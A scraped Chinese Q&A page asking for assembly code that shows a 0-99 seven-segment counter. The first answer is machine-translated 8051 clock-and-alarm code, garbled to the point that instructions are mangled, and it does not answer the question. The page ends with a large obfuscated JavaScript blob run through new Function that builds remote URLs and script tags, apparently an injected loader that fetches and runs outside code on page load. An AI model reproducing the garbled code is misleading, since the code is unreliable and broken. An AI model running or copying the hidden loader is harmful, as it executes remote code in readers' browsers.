用汇编语言编写一个能在电脑屏幕上显示0-99 的数据,显示时是像数码管那样显示,到99后,又从0开始计数

2025-03-11 07:33:55
推荐回答(2个)
回答1:

; *************************************************日期:2007.10.26 12MHZ晶振
********
设置的时间和秒显示的数字闹钟
;创建的:星级徒劳
P3.2设置键P3.3分钟调整键调整键P3.5,P3.7输出表示
时机; ********************* *****************************************
; **** ************************************************** ***
;变量地址分配
; ********************************** ***********************
SwDelay EQU 2;去抖时间设置按钮
DisplayBuffer EQU 30H;设置显示的地址6个字节的缓冲EQU 38H 30H-35H
BeepVal,蜂鸣器持续时间内存地址
OneSecondCounter EQU 39H;设置一个第二个地址计数器,1个计数器是用来计数的秒计时器中断< /小时EQU 3AH;小时计数器地址
分钟EQU 3BH;
二EQU 3CH分钟计数器地址设置秒计数器地址
年EQU 3DH,地址
计数器的设定月日年月EQU 3EH;
日EQU 3FH;

P1Val EQU 40H;,驱动器的设定值数码管的位地址
ClockMode EQU 20h.0;模式设置注册地址(正常行车时间/故障),值的正常0:00,1:00麻烦的设置
AlarmOnOff EQU 20h.1报警开启/关闭标志0关闭1个开放式
AlarmTimeOn EQU 20h.2这组报警时至下午1
DataMode EQU 20h.3
DispHour EQU 21H;固定时间显示的寄存器地址
DispMinute EQU 22H;显示寄存器地址
DispSecond EQU 23H分钟;秒注册地址
Dnum EQU 24小时
AlarmHour EQU 2EH,一套市中心的小时计数器地址
AlarmMinute EQU 2FH;分钟计数器地址/> AlarmSetKey嘈杂位P3.2;报警设置键
MinuteKey位P3.3,关键定义的子集
HourKey位P3.4;定义的小时设置键
DataSetKey位P3.5;
重新布局EQU P3.7;定义输出引脚
; *************************** *******************************************
;程序开始
; ********************************************* *************************组织结构0BH
组织结构,00H
AJMP的复位程序开始
Timer0中断向量地址
AJMP TimeInt。跳转到中断处理程序
ORG 0020H
复位:下面的初始化过程,初始值?为每个变量
MOV SP,# 70H;
SETB重新布局
MOV OneSecondCounter,#125

MOV小时,23#
MOV分钟,第59
MOV二,#30;设定时钟显示时,上电的初始值

的MOV年,第07
MOV月12
MOV日第27
/> MOV AlarmHour,#00
MOV AlarmMinute,#00;初始时间
设定的功率市中心
CLR AlarmOnOff麻烦复位后的最后一点是关闭
CLR AlarmTimeOn
清SETB重新布局;市中心输出
CLR DataMode
;
MOV 36H,#10
MOV 37H ,#11

; ************************************ BR />使用定时器0模式1
;速度400us中断
; ***************************** *******
MOV TMOD,#00000001B
MOV TH0,#0E3h
MOV TL0,#5DH
MOV IE,#82H;开放全局中断
> SETB EA
SETB ET0
SETB TR0;打开定时器中断

; ********************* ********************
以下主要程序
; ***************** ************************
主循环:
JB AlarmSetKey,CheckMinuteKey;市中心键被按下时设置的吗?没有秒检测到的关键
的呼叫时延
JB AlarmSetKey,CheckMinuteKey按下超过500ms?
SETB ClockMode的设置模式设置麻烦
呼叫AlarmSet
CheckMinuteKey:
JB MinuteKey,CheckHourKey子键被按下?然后打开检测时间设置键
如按通话蜂鸣器发音程序
MOV一分钟
ADD A,#1,如果记者是钟加小数点后一位数调整
的MOV分钟,;
CJNE A,#3CH,NotOver1到60分钟呢?
MOV分钟,#0;清除分钟到60分钟0
NotOver1:等待按键释放和抖动
的JNB MinuteKey下面的$。
CheckHourKey:
JB HourKey,CheckDataKey
;如按
MOV A呼叫蜂鸣器发音的程式小时
ADD A,#1,如果记者会时间加
的MOV小时,一个
CJNE A,#18H,NotOver2
MOV小时,0至24小时将被清除小时0
NotOver2:下面的按钮释放等待和抖动
JNB HourKey,
CheckDataKey:
JB DataSetKey,CheckAlarm
呼叫时延
JB DataSetKey,CheckAlarm
SETB DataMode
调用数据集
CheckAlarm“
JNB AlarmTimeOn,一去不复返
呼叫AlarmProcess
一去不复返:
AJMP主循环
; ************* *********************************
定时器定时器0中断服务程序(此程序执行一次8毫秒)
; ******************************************* *** BR /> TimeInt:
MOV TH0,#0E3h;的重载时序参数
MOV TL0,#5DH;
推按
PUSH PSW;保护累加器和程序状态字的内容
SETB RS0的选择工作寄存器设置为1
CLR RS1,这可以保护原来的工作寄存器组(0组)的内容
DJNZ OneSecondCounter NotoneSecond中断125次呢?这是一秒钟,足够吗?
MOV OneSecondCounter,#125;足够的第二次重设“OneSecondCounter”反
调用时钟子程序调用加上一个第二个时钟
呼叫Daynum
呼叫ConvertoBuffer调用转换的时钟显示缓冲区的内容子程序
NotoneSecond的:
呼叫ScanDisplay呼叫扫描子程序
POP PSW
弹出ACC恢复累加器和程序状态字的内容/> RETI;中断返回

; ********************************** ***********
;扫描显示子程序
; ************************** *******************
ScanDisplay:
MOV R1,#DisplayBuffer指向显示数据的第一个站点
MOV R5,# 0FEH;扫描控制字的初始价值
PLAY“:

MOV A,R5;扫描字为MOV P2,A; P2口输出
MOV A,_at_ R1;一个
MOV DPTR,#TAB的数据段表地址
MOVC A _at_ A + DPTR;调查显示对应的数据段代码
MOV P1,A;段代码到P1端口

LCALL延迟

INC R1;指向下一个地址
MOV A,R5;扫描控制字中的一个
JNB ACC 0.7,ENDOUT扫到第六位,在最后
RL A; A中的数据循环左移
MOV R5,A,把
和AJMP R5的范围内发挥;跳一个播放循环
ENDOUT:MOV P2,#0FFH;端的显示,P2端口复位
MOV P1,#00H; P1端口复位
RET子程序返回
共阴极段表中“0”,“1”,“2”,“ 3“,”4“5”“6”“7”“8”“9”,“ - ”,“C”
; ******************* *********************************
;子程序时钟加一
; **************************************************
时钟:
MOV A,第二,原来的第二个值到一个
ADD A,#1,添加1秒

MOV二一
CJNE ,#3CH,NotOverFlow够60秒?
MOV其次,#0;足够的,那么第二个值被清为0

MOV A,分
一个
MOV分钟#1,加1;分钟
CJNE A,#3CH NotOverFlow,足够为60点?
MOV分钟,#0;足够的话得分0 / a>
MOV A,小时
添加#1
MOV小时,小时加1
CJNE A,#18H,NotOverFlow的24小时,足够吗? BR /> MOV小时,#0;将足够小时0
值清;
MOV,日

添加#1
MOV日, BR /> CJNE A,Dnum,NotAlarm
MOV日,#1
;
月MOV A,
添加,#1
MOV月, /> CJNE A,#13,NotAlarm
MOV月,#1

MOV A,年
添加,#1
的MOV年,
CJNE A,#11,NotAlarm
MOV年,#0
NotOverFlow:
JNB AlarmOnOff,NotAlarm报警打开如果没有是否麻烦时,你不这样做吗?需要费心时间
MOV A,第二
的JNZ NotAlarm秒零?
MOV A,分
CJNE A,AlarmMinute,NotAlarm分钟的时间值吗?时有噪音等于分钟值吗?
MOV A,小时
CJNE A,AlarmHour,NotAlarm小时的时间值和设定小时故障时同等价值吗?
SETB AlarmTimeOn;时间到市中心设置闹钟时间到“标志设置为1
NotAlarm:

RET; ************ ************************************************** ************
;转换的时钟内容或市中心的设定值的显示缓冲区子程序
; **************** ************************************************** ********

MOV R1,ConvertoBuffer:#DisplayBuffer
是JNB dataMode,TimeDisp
MOV A,日
MOV DispSecond,
MOV DispMinute,的
MOV A,年
MOV DispHour,一个
AJMP转换
TimeDisp:JB ClockMode,DispAlarmSet判断时钟模式,以决定是否显示实时或报警时间
MOV A,第二
MOV DispSecond,

MOV A,分
MOV Dispminute,;
MOV A,小时;
MOV DispHour;显示实时

AJMP转换
DispAlarmSet:
JB AlarmOnOff的AlarmOn
传送DispSecond,#00H
AJMP
AlarmOn:
MOV DispSecond,#11;显示,故障和报警状态:显示00“关闭报警
下一页:“十一”开放式报警
MOV A AlarmMinute
MOV Dispminute,在
MOV A AlarmHour
MOV DispHour,
;
转换:
MOV A,DispSecond;秒值
MOV B,#10
DIV AB
MOV _at_ R1,B;
加R1;缓冲寄存器地址加1
MOV @ R1,A;10秒值值的缓冲

公司R1
MOV A,DispMinute
MOV B,第10
DIV AB
MOV @ R1,B;
INC R1缓冲寄存器地址加1
MOV _at_ R1,10秒值的值到缓冲区
;
INC R1
MOV A DispHour
MOV B,#10
DIV AB
MOV _at_ R1,B,地址加
INC R1;有缓冲寄存器
MOV @ R1,A;十秒钟值?值?存储在缓冲区
RET;
; ********** *********************************************
;判断的天数,闰年,闰年
; ********************************* **********************
Daynum:MOV A,月的
MOV DPTR,#TABL
MOVC A,@ A + DPTR的
MOV,
MOV A,Dnum年
MOV B,#4
DIV AB
MOV A,B
CJNE A,#0 ,BB
MOV A,月
CJNE A,#2,BB
公司Dnum
BB:RET
TABL:DB 31,32,29,32,31 ,32,31,32,32,31,32,31,32

; ********************* *****************************
;麻烦时,子程序
; ******* *******************************************
AlarmSet: BR /> JNB AlarmSetKey
通话延时,等待“AlarmSetKey键释放
CheckArmMinuteKey:
JB MinuteKey,CheckArmHourKey子键被按下?然后打开时检测设置键
的SETB AlarmOnOff的
MOV 37H,#0
MOV A AlarmMinute
ADD A,#1,按分钟加1位小数调整
为MOV AlarmMinute;的
CJNE A#3CH,ArmNotOver1,到60分钟?
MOV AlarmMinute,#0;清将到60分钟0
ArmNotOver1:下面的等待的按钮释放和抖动
JNB MinuteKey。
CheckArmHourKey:
JB HourKey,AlarmSetEnd小时SET键被按下?没回反复测试
SETB AlarmOnOff
MOV A AlarmHour
添加了#1,如果按小时加
MOV AlarmHour一个
CJNE A,# 18小时,ArmNotOver2
MOV AlarmHour,#0;清0小时至24小时将是
ArmNotOver2的:等待下面的按钮释放和抖动
JNB HourKey
AlarmSetEnd:
JB AlarmSetKey,AlarmSet的吗?
JNB AlarmSetKey;
CLR ClockMode;步行模式设置的模式
RET

; ************* **** ****************************
;日起调整
; **** *****************************************
数据集: JNB DataSetKey,$
CALL DELAY
CheckDataYearKey的
JB HourKey,CheckDataMonthKey
MOV A,年
添加,#1
MOV年,
CJNE A,#11,DataNotOver1
MOV年,#0
DataNotOver1:

CheckDataMonthKey JNB HourKey:
JB MinuteKey,CheckDataDayKey < / MOV A,月
A,#1
MOV月一个
CJNE A,#13,DataNotOver2
MOV月,#1的
DataNotOver2: BR /> JNB MinuteKey,
CheckDataDayKey:
JB AlarmSetKey,DataSetEnd
MOV A,天
添加,#1
MOV日,一个
,#1
DataNotOver3 CJNE A,Dnum,DataNotOver3
MOV日:
JNB AlarmSetKey,
DataSetEnd:
JB DataSetKey,数据集
JNB DataSetKey,
CLR DataMode
RET

; ***************************** *********************
;服务程序的问题时
; *************** ***********************************
AlarmProcess:
CLR重新布局; /> JB AlarmSetKey,AlarmReturn停止麻烦时,按下键(即麻烦的是,当设置键)?
CLR AlarmOnOff
JNB AlarmSetKey;
SETB重新布局,停止吵闹时,按下该键停止麻烦
CLR AlarmTimeOn;
MOV 37H,第11 / MOV AlarmMinute,#00
#00 MOV AlarmHour,
AlarmReturn:
RET
; ************** ************************************
;延时子程序
; ** ************************************************ />延迟:
MOV R6,#2
删除:
MOV R7,#124
DJNZ R7,$
DJNZ R6,德尔
RET BR /> DL1s:MOV R3,#4
DD:CALL DELAY的
DJNZ R3,日
RET
结束

回答2:

这用protues

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();